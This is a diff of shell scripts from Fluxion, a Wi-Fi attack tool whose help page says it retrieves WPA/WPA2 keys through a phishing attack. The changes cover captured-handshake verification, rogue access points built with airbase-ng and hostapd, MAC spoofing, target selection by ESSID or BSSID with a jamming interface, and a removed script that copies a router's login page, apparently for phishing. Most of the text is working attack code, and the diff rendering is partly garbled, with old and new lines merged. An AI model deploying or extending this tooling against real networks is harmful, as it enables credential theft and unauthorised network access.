if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
echo "Error: aircrack-ng seems to be broken!" > $HashOutputDevice
return 1
fi
local hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -F "$handshakeAPSSID")
;;
*)
echo "Invalid verifier, quitting!" > $HashOutputDevice
return 1 return 1
fi ;;
local hashMeta=$(echo "${analysis[@]}" | grep -F "AccessPoint ${handshakeAPMAC,,} ('$handshakeAPSSID')")
if [ "$hashMeta" ]; then
local hashID=$(echo "$hashMeta" | awk -F'[ #:]' '{print $3}')
hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_SHA[0-9]+_AES/{ print \$0 }")
else
echo "No valid hash meta was found for \"$handshakeAPSSID\"" >$HashOutputDevice
fi
;;
"aircrack-ng")
readarray analysis < <(aircrack-ng "$handshakePath" 2>$HashOutputDevice)
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
echo "Error: aircrack-ng seems to be broken!" >$HashOutputDevice
return 1
fi
hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -F "$handshakeAPSSID")
;;
*)
echo "Invalid verifier, quitting!"
return 1
;;
esac esac
if [ -z "$hashData" ]; then if [ -z "$hashData" ]; then
@ -53,18 +56,24 @@ function hash_check_handshake() {
return 1 return 1
fi fi
local hashResult
case "$handshakeVerifier" in case "$handshakeVerifier" in
"pyrit") hashResult=$(echo "$hashData" | grep "good") ;; "pyrit")
"aircrack-ng") hashResult=$(echo "$hashData" | grep "(1 handshake)") ;; if echo "$hashData" | grep -qF "good"; then
local -r hashResult=1
fi ;;
"aircrack-ng")
if echo "$hashData" | grep -qE "\([0-9]+ handshake\)"; then
local -r hashResult=1
fi ;;
esac esac
if [ -z "$hashResult" ]; then if [ -z "$hashResult" ]; then
echo "Invalid hash for $handshakeAPSSID ($handshakeAPMAC)!" echo "Invalid hash for $handshakeAPSSID ($handshakeAPMAC)!" > $HashOutputDevice
HASHCheckHandshake="invalid" HASHCheckHandshake="invalid"
return 1 return 1
else else
echo "Valid hash for $handshakeAPSSID ($handshakeAPMAC)!" echo "Valid hash for $handshakeAPSSID ($handshakeAPMAC)!" > $HashOutputDevice
HASHCheckHandshake="valid" HASHCheckHandshake="valid"
fi fi
} }

96
lib/Help.sh Normal file
View File

@ -0,0 +1,96 @@
#!/bin/bash
function fluxion_help{
echo " FLUXION(1) User Manuals FLUXION(1)
NAME
fluxion - Fluxion is a security auditing and social-engineering
research tool
SYNOPSIS
fluxion [-debug] [-l language ] attack ...
DESCRIPTION
fluxion is a security auditing and social-engineering research tool.
It is a remake of linset by vk496 with (hopefully) less bugs and more
functionality. The script attempts to retrieve the WPA/WPA2 key from a
target access point by means of a social engineering (phising) attack.
It's compatible with the latest release of Kali (rolling). Fluxion's
attacks' setup is mostly manual, but experimental auto-mode handles
some of the attacks' setup parameters.
OPTIONS
-v Print version number.
--help Print help page and exit with 0.
-m Run fluxion in manual mode instead of auto mode.
-k Kill wireless connection if it is connected.
-d Run fluxion in debug mode.
-x Try to run fluxion with xterm terminals instead of tmux.
-r Reload driver.
-l <language>
Define a certain language.
-e <essid>
Select the target network based on the ESSID.
-c <channel>
Indicate the channel(s) to listen to.
-a <attack>
Define a certain attack.
--ratio <ratio>
Define the windows size. Bigger ratio -> smaller window size.
Default is 4.
-b <bssid>
Select the target network based on the access point MAC address.
-j <jamming interface>
Define a certain jamming interface.
-a <access point interface>
Define a certain access point interface.
FILES
/tmp/fluxspace/
The system wide tmp directory.
$FLUXION/attacks/
Folder where handshakes and passwords are stored in.
ENVIRONMENT
FLUXIONAuto
Automatically run fluxion in auto mode if exported.
FLUXIONDebug
Automatically run fluxion in debug mode if exported.
FLUXIONWIKillProcesses
Automatically kill any interfering process(es).
DIAGNOSTICS
Please checkout the other log files or use the debug mode.
BUGS
Please report any bugs at: https://github.com/FluxionNetwork/flux-
ion/issues
AUTHOR
Cyberfee, l3op, dlinkproto, vk496, MPX4132
SEE ALSO
aircrack-ng(8),
Linux MARCH 2018 FLUXION(1)"
}

View File

@ -11,22 +11,20 @@ if [ -d /sys/bus/usb ] # && hash lsusb;
then InterfaceUSBBus=1 then InterfaceUSBBus=1
fi fi
if [ -d /sys/bus/pci ] || [ -d /sys/bus/pci_express ] || [ -d /proc/bus/pci ] # && hash lspci; if [ -d /sys/bus/pci -o -d /sys/bus/pci_express -o -d /proc/bus/pci ] # && hash lspci;
then InterfacePCIBus=1 then InterfacePCIBus=1
fi fi
# Checks if the interface belongs to a physical device. # Checks if the interface belongs to a physical device.
function interface_is_real() { function interface_is_real() {
if [ -d /sys/class/net/$1/device ]; then return 0 test -d /sys/class/net/$1/device
else return 1 return $?
fi
} }
# Checks if the interface belongs to a wireless device. # Checks if the interface belongs to a wireless device.
function interface_is_wireless() { function interface_is_wireless() {
if grep -qs "DEVTYPE=wlan" /sys/class/net/$1/uevent; then return 0 grep -qs "DEVTYPE=wlan" /sys/class/net/$1/uevent
else return 1 return $?
fi
} }
# Returns an array of absolutely all interfaces. # Returns an array of absolutely all interfaces.
@ -146,64 +144,39 @@ function interface_state() {
function interface_set_state() { function interface_set_state() {
if [ "${#@}" -ne 2 ]; then return 1; fi if [ "${#@}" -ne 2 ]; then return 1; fi
# TODO: Add alternatives to 'ip' in case of failure.
ip link set "$1" "$2" ip link set "$1" "$2"
return $?
} }
function interface_set_mode() { function interface_set_mode() {
if [ "${#@}" -ne 2 ]; then return 1; fi if [ "${#@}" -ne 2 ]; then return 1; fi
if ! interface_set_state "$1" "down"; then return 2; fi if ! interface_set_state "$1" "down"; then return 2; fi
if ! iwconfig "$1" mode "$2" &>$InterfaceUtilsOutputDevice; then return 3; fi if ! iw dev "$1" set type "$2" &> $InterfaceUtilsOutputDevice; then
if ! iwconfig "$1" mode "$2" &> $InterfaceUtilsOutputDevice
then return 3
fi
fi
if ! interface_set_state "$1" "up"; then return 4; fi if ! interface_set_state "$1" "up"; then return 4; fi
} }
function interface_prompt() { function interface_reidentify() {
if [ -z "$1" -o -z "$2" ]; then return 1; fi if [ ${#@} -ne 2 ]; then return 1; fi
local __interface_prompt__ifAvailable=("${!2}") local -r __interface_reidentify__oldIdentifier=$1
local __interface_prompt__ifAvailableInfo=() local -r __interface_reidentify__newIdentifier=$2
local __interface_prompt__ifAvailableColor=()
local __interface_prompt__ifAvailableState=() if [[ $__interface_reidentify__newIdentifier == *" "* ]]
then return 2
local __interface_prompt__ifCandidate
for __interface_prompt__ifCandidate in "${__interface_prompt__ifAvailable[@]}"; do
interface_chipset "$__interface_prompt__ifCandidate"
__interface_prompt__ifAvailableInfo+=("$InterfaceChipset")
interface_state "$__interface_prompt__ifCandidate"
if [ "$InterfaceState" = "up" ]; then
__interface_prompt__ifAvailableColor+=("$CPrp")
__interface_prompt__ifAvailableState+=("[-]")
else
__interface_prompt__ifAvailableColor+=("$CClr")
__interface_prompt__ifAvailableState+=("[+]")
fi
done
# The following conditional is required since io_query_format_fields
# only considers the the size of the first parameter, available color.
if [ "$6" ]; then # Add alternative choices
__interface_prompt__ifAvailable+=("${!3}")
__interface_prompt__ifAvailableInfo+=("${!4}")
__interface_prompt__ifAvailableState+=("${!5}")
__interface_prompt__ifAvailableColor+=("${!6}")
fi fi
# If only one interface exists and it's available, choose it. if ! interface_set_state $__interface_reidentify__oldIdentifier down
if [ "${#__interface_prompt__ifAvailable[@]}" -eq 1 -a "${__interface_prompt__ifAvailableState[0]}" = "[+]" ]; then then return 3
InterfacePromptWISelected="${__interface_prompt__ifAvailable[0]}"
InterfacePromptWISelectedState="[+]" # It passed the condition, it must be +
InterfacePromptWISelectedInfo="${__interface_prompt__ifAvailableInfo[0]}"
else
format_apply_autosize "$CRed[$CSYel%1d$CClr$CRed]%b %-8b %3s$CClr %-*.*s\n"
io_query_format_fields "$1" "$FormatApplyAutosize" \
__interface_prompt__ifAvailableColor[@] __interface_prompt__ifAvailable[@] \
__interface_prompt__ifAvailableState[@] __interface_prompt__ifAvailableInfo[@]
echo
InterfacePromptIfSelected="${IOQueryFormatFields[1]}"
InterfacePromptIfSelectedState="${IOQueryFormatFields[2]}"
InterfacePromptWISelectedInfo="${IOQueryFormatFields[3]}"
fi fi
# TODO: Add alternatives to 'ip' in case of failure.
ip link set $__interface_reidentify__oldIdentifier name $__interface_reidentify__newIdentifier
return $?
} }
# FLUXSCRIPT END

View File

@ -3,55 +3,87 @@
# ================================================================ # ================================================================
# Configuration Section # Configuration Section
# ================================================================ # ================================================================
VIGW="at0" #APServiceConfigDirectory=$FLUXIONWorkspacePath
VIAP=$WIAccessPoint
# airbase-ng uses a monitor-mode virtual interface
# and creates a separate interface, atX, for dhcpd.
VIAPAddress="$VIGWNetwork.2"
# APServiceConfigDirectory=$FLUXIONWorkspacePath
# ================================================================ # ================================================================
#if [ "$APServiceVersion" ]; then return 0; fi #if [ "$APServiceVersion" ]; then return 0; fi
#readonly APServiceVersion="1.0" #readonly APServiceVersion="1.0"
function ap_stop() { function ap_service_stop() {
if [ "$APServicePID" ]; then kill $APServicePID &>$FLUXIONOutputDevice if [ "$APServicePID" ]; then
kill $APServicePID &> $FLUXIONOutputDevice
fi fi
APServicePID="" APServicePID=""
} }
function ap_reset() { function ap_service_reset() {
ap_stop ap_service_stop
APServiceAccessInterface=""
APServiceChannel=""
APServiceMAC=""
APServiceSSID=""
APServiceInterfaceAddress=""
APServiceInterface=""
} }
function ap_route() { function ap_service_route() {
ifconfig $VIAP $VIAPAddress netmask 255.255.255.0 local networkSubnet=${APServiceInterfaceAddress%.*}
sysctl net.ipv6.conf.at0.disable_ipv6=1 &>$FLUXIONOutputDevice local networkAddress=$(( ( ${APServiceInterfaceAddress##*.} + 1 ) % 255 ))
if [ $hostID -eq 0 ]; then
let hostID++
fi
# TODO: Dynamically get the airbase-ng tap interface & use below.
# WARNING: Notice the interface below is STATIC, it'll break eventually!
if ! ifconfig "at0" $networkSubnet.$networkAddress \
netmask 255.255.255.0; then
return 1
fi
if ! sysctl net.ipv6.conf.at0.disable_ipv6=1 &> $FLUXIONOutputDevice; then
return 2
fi
} }
function ap_prep() { function ap_service_prep() {
ap_stop if [ ${#@} -lt 5 ]; then return 1; fi
APServiceInterface=$1
APServiceInterfaceAddress=$2
APServiceSSID=$3
APServiceMAC=$4
APServiceChannel=$5
ap_service_stop
# Spoof virtual interface MAC address. # Spoof virtual interface MAC address.
# This is done by airbase-ng automatically. # This is done by airbase-ng automatically.
# airbase-ng uses a monitor-mode virtual interface
# and creates a separate interface, atX, for dhcpd.
APServiceAccessInterface="at0"
} }
function ap_start() { function ap_service_start() {
ap_stop ap_service_stop
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [airbase-ng]" -e airbase-ng -P -e $APTargetSSID -c $APTargetChannel -a $APRogueMAC $VIAP & xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" \
-title "FLUXION AP Service [airbase-ng]" -e \
airbase-ng -P -e $APServiceSSID -c $APServiceChannel \
-a $APServiceMAC $APServiceInterface &
local parentPID=$! local parentPID=$!
# Wait till airebase-ng has started and created the extra virtual interface. # Wait till airebase-ng starts and creates the extra virtual interface.
while [ ! "$APServicePID" ]; do while [ ! "$APServicePID" ]; do
sleep 1 sleep 1
APServicePID=$(pgrep -P $parentPID) APServicePID=$(pgrep -P $parentPID)
done done
ap_route ap_service_route
} }
# FLUXSCRIPT END # FLUXSCRIPT END

View File

@ -3,69 +3,87 @@
# ================================================================ # ================================================================
# Configuration Section # Configuration Section
# ================================================================ # ================================================================
VIGW=$WIAccessPoint
VIAP=$WIAccessPoint
# HostAPD sets the virtual interface mode
# to master, which is supported by dhcpd.
VIAPAddress=$VIGWAddress
APServiceConfigDirectory=$FLUXIONWorkspacePath APServiceConfigDirectory=$FLUXIONWorkspacePath
# ================================================================ # ================================================================
#if [ "$APServiceVersion" ]; then return 0; fi #if [ "$APServiceVersion" ]; then return 0; fi
#readonly APServiceVersion="1.0" #readonly APServiceVersion="1.0"
function ap_stop() { function ap_service_stop() {
if [ "$APServicePID" ]; then kill $APServicePID &>$FLUXIONOutputDevice if [ "$APServicePID" ]; then
kill $APServicePID &> $FLUXIONOutputDevice
fi fi
APServicePID="" APServicePID=""
} }
function ap_reset() { function ap_service_reset() {
ap_stop ap_service_stop
# Reset MAC address to original. # Reset MAC address to original.
ifconfig $VIAP down ifconfig $APServiceInterface down
sleep 0.5 sleep 0.5
macchanger -p $VIAP &>$FLUXIONOutputDevice macchanger -p $APServiceInterface &> $FLUXIONOutputDevice
sleep 0.5 sleep 0.5
ifconfig $VIAP up ifconfig $APServiceInterface up
sleep 0.5 sleep 0.5
APServiceAccessInterface=""
APServiceChannel=""
APServiceMAC=""
APServiceSSID=""
APServiceInterfaceAddress=""
APServiceInterface=""
} }
function ap_route() { function ap_service_route() {
echo "APService: No custom routes for hostapd" >$FLUXIONOutputDevice echo "APService: No custom routes for hostapd" > $FLUXIONOutputDevice
} }
function ap_prep() { function ap_service_prep() {
ap_stop if [ ${#@} -lt 5 ]; then return 1; fi
APServiceInterface=$1
APServiceInterfaceAddress=$2
APServiceSSID=$3
APServiceMAC=$4
APServiceChannel=$5
ap_service_stop
# Prepare the hostapd config file. # Prepare the hostapd config file.
echo "\ echo "\
interface=$VIAP interface=$APServiceInterface
driver=nl80211 driver=nl80211
ssid=$APTargetSSID ssid=$APServiceSSID
channel=$APTargetChannel" >"$APServiceConfigDirectory/$APRogueMAC-hostapd.conf" channel=$APServiceChannel" \
> "$APServiceConfigDirectory/$APServiceMAC-hostapd.conf"
# Spoof virtual interface MAC address. # Spoof virtual interface MAC address.
ifconfig $VIAP down ifconfig $APServiceInterface down
sleep 0.5 sleep 0.5
macchanger --mac=$APRogueMAC $VIAP &>$FLUXIONOutputDevice macchanger --mac=$APServiceMAC $APServiceInterface &> $FLUXIONOutputDevice
sleep 0.5 sleep 0.5
ifconfig $VIAP up ifconfig $APServiceInterface up
sleep 0.5 sleep 0.5
# HostAPD sets the virtual interface mode
# to master, which is supported by dhcpd.
APServiceAccessInterface=$APServiceInterface
} }
function ap_start() { function ap_service_start() {
ap_stop ap_service_stop
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [hostapd]" -e hostapd "$APServiceConfigDirectory/$APRogueMAC-hostapd.conf" & xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" \
-title "FLUXION AP Service [hostapd]" -e \
hostapd "$APServiceConfigDirectory/$APServiceMAC-hostapd.conf" &
local parentPID=$! local parentPID=$!
# Wait till hostapd has started and its virtual interface is ready. # Wait till hostapd has started and its virtual interface is ready.
@ -74,7 +92,7 @@ function ap_start() {
APServicePID=$(pgrep -P $parentPID) APServicePID=$(pgrep -P $parentPID)
done done
ap_route ap_service_route
} }
# FLUXSCRIPT END # FLUXSCRIPT END

19
misc/README.md Normal file
View File

@ -0,0 +1,19 @@
## Arguments table
| Arguments | Describtion |
| ------------- | ------------- |
| -a | Give a Attack |
| -e | Give a certain essid |
| -b | Give a certain bssid |
| -- | Maker is required |
| -a | Access point interface |
| -j | Jamming interface |
| -x | Use xterm instead of tmux |
| -v | Print version number |
| -d | Run fluxion in debug mode |
| -k | Kill wireless connection if it is connected |
| -m | Run fluxion in manual mode instead of auto |
| -l | Language |
## Samples
`./fluxion -a [ATTACK] -e [ESSID] -b [BSSID] -c [CHANNEL] -- -a [AP INTERFACE] -j [JAMMING INTERFACE]`

0
preferences/.gitkeep Normal file
View File

View File

@ -1,4 +1,6 @@
#!/ bin / bash #!/ bin / bash
export FLUXIONDebug = 1 export FLUXIONWIKillProcesses = # These are the debug flags used by the script
1 export FLUXIONWIReloadDriver = 1 export FLUXIONDebug=1
export FLUXIONWIKillProcesses=1
export FLUXIONWIReloadDriver=1

View File

@ -1,66 +1,89 @@
#!/bin/bash #!/bin/bash
if [ -d "lib" ]; then source lib/InterfaceUtils.sh clear
elif [ -d "../lib" ]; then source ../lib/InterfaceUtils.sh declare -r HEADER_SIZE="####"
# Diagnostic script
if [ -d "lib" ];then
source lib/InterfaceUtils.sh
elif [ -d "../lib" ];then
source ../lib/InterfaceUtils.sh
else else
echo "YOU MUST EXECUTE THIS SCRIPT FROM FLUXION'S ROOT!" echo -e "\033[31mError lib folder not found\033[0m"
exit 1 exit 1
fi fi
if [ ! "$1" ]; then if [ ! "$1" ]; then
echo "Usage ./scripts/diagnostics <wireless_interface>" echo "Usage ./scripts/diagnostics [wireless_interface]"
exit 1 exit 1
fi fi
echo "[ FLUXION Info ]" echo "$HEADER_SIZE FLUXION Info"
if [ -f "./fluxion.sh" ] if [ -f "fluxion" ];then
then declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" fluxion.sh)) declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" fluxion))
else declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" ../fluxion.sh)) else
declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" ../fluxion))
fi fi
echo "FLUXION V${FLUXIONInfo[0]/*=/}.${FLUXIONInfo[1]/*=/}" echo "FLUXION V${FLUXIONInfo[0]/*=/}.${FLUXIONInfo[1]/*=/}"
echo -ne "\n\n" echo -ne "\n\n"
echo "[ BASH Info ]" echo "$HEADER_SIZE BASH Info "
bash --version bash --version
echo "Path: $(ls -L $(which bash))" echo "**Path:** $(ls -L $(which bash))"
echo -ne "\n\n" echo -ne "\n\n"
echo "[ Interface ($1) Info ]" echo "$HEADER_SIZE Interface ($1) Info "
if interface_physical "$1"; then echo "Device: $InterfacePhysical" if interface_physical "$1";then
else echo "Device: Unknown" echo "**Device**: $InterfacePhysical"
else
echo "**Device:** Unknown"
fi fi
if interface_driver "$1"; then echo "Driver: $InterfaceDriver" if interface_driver "$1";then
else echo "Driver: Unsupported" echo "**Driver:** $InterfaceDriver"
else
echo "**Driver:** Unsupported"
fi fi
if interface_chipset "$1"; then echo "Chipset: $InterfaceChipset" if interface_chipset "$1";then
else echo "Chipset: Unknown" echo "**Chipset:** $InterfaceChipset"
else
echo "**Chipset:** Unknown"
fi fi
echo -n "Injection Test: " if iw list | grep monitor | head -n 1 | tail -n 1 &>/dev/null;then
aireplay-ng --test "$1" | grep -oE "Injection is working!|No Answer..." || echo "failed" echo "**Master Modes** Yes"
else
echo "**Master Modes** No"
fi
echo -n "**Injection Test:** "
aireplay-ng --test "$1" | grep -oE "Injection is working!|No Answer..." || echo -e "\033[31mFailed\033[0m"
echo -ne "\n\n" echo -ne "\n\n"
echo "[ XTerm Info ]" echo "$HEADER_SIZE XTerm Infos"
echo "Version: $(xterm -version)" echo "**Version:** $(xterm -version)"
echo "Path: $(ls -L $(which xterm))" echo "**Path:** $(ls -L $(which xterm))"
echo -n "Test: " echo -n "Test: "
if xterm -hold -fg "#FFFFFF" -bg "#000000" -title "XServer/XTerm Test" -e "echo \"XServer/XTerm test: close window to continue...\"" &>/dev/null; then echo "XServer/XTerm success!" if xterm -hold -fg "#FFFFFF" -bg "#000000" -title "XServer/XTerm Test" -e "echo \"XServer/XTerm test: close window to continue...\"" &>/dev/null; then echo "XServer/XTerm success!"
else echo "XServer/XTerm failure!" else
echo -e "\033[31m XServer/XTerm failure!\033[0m"
fi fi
echo -ne "\n\n" echo -ne "\n\n"
echo "[ HostAPD Info ]" echo "$HEADER_SIZE HostAPD Info"
hostapd -v hostapd -v
echo "Path: $(ls -L $(which hostapd))" echo "Path: $(ls -L $(which hostapd))"
echo -ne "\n\n" echo -ne "\n\n"
echo "[ Aircrack-ng Info ]" echo "$HEADER_SIZE Aircrack-ng Info"
aircrack-ng -H | head -n 4 aircrack-ng -H | head -n 4
echo -ne "\n\n" echo -ne "\n"
echo "[ System Info ]" echo "$HEADER_SIZE System Info"
if [ -r "/proc/version" ]; then cat /proc/version if [ -r "/proc/version" ]; then
else uname -r echo "**Chipset:** $(cat /proc/version)"
else
echo "**Chipset:** $(uname -r)"
fi fi

View File

@ -1,70 +0,0 @@
#!/bin/bash
##################################### < CONFIGURATION > #####################################
gateway=$(ip route | grep default | awk '{print $3}')
#Colors
white="\033[1;37m"
red="\033[1;31m"
blue="\033[1;34m"
transparent="\e[0m"
#############################################################################################
clear
echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]"
echo -e "$red Prepare router page."
echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent"
echo "[i] Prepare dep."
# Check which package manager is installed
echo "Package Manager"
if hash pacman 2>/dev/null; then
PACK="pacman -S"
else
if hash apt-get 2>/dev/null; then
PACK="apt-get install"
else
if hash yum 2>/dev/null; then
PACK="yum install"
fi
fi
fi
sleep 0.025
echo "================================================================================="
echo -ne "Httrack........."
if ! hash httrack 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
$PACK httrack
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo "================================================================================="
echo -ne "cutycapt........"
if ! hash httrack 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
$PACK cutycapt
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo "================================================================================="
if [ ! -d sites ]; then
mkdir sites
fi
#############################################################################################
echo "[i] Download preview picture"
cutycapt --url=http://$gateway --out=sites/$(date | awk '{print $4}').png
echo "================================================================================="
cd sites
echo "[i] Download router site"
httrack $gateway
echo "================================================================================="
echo "[I] DONE"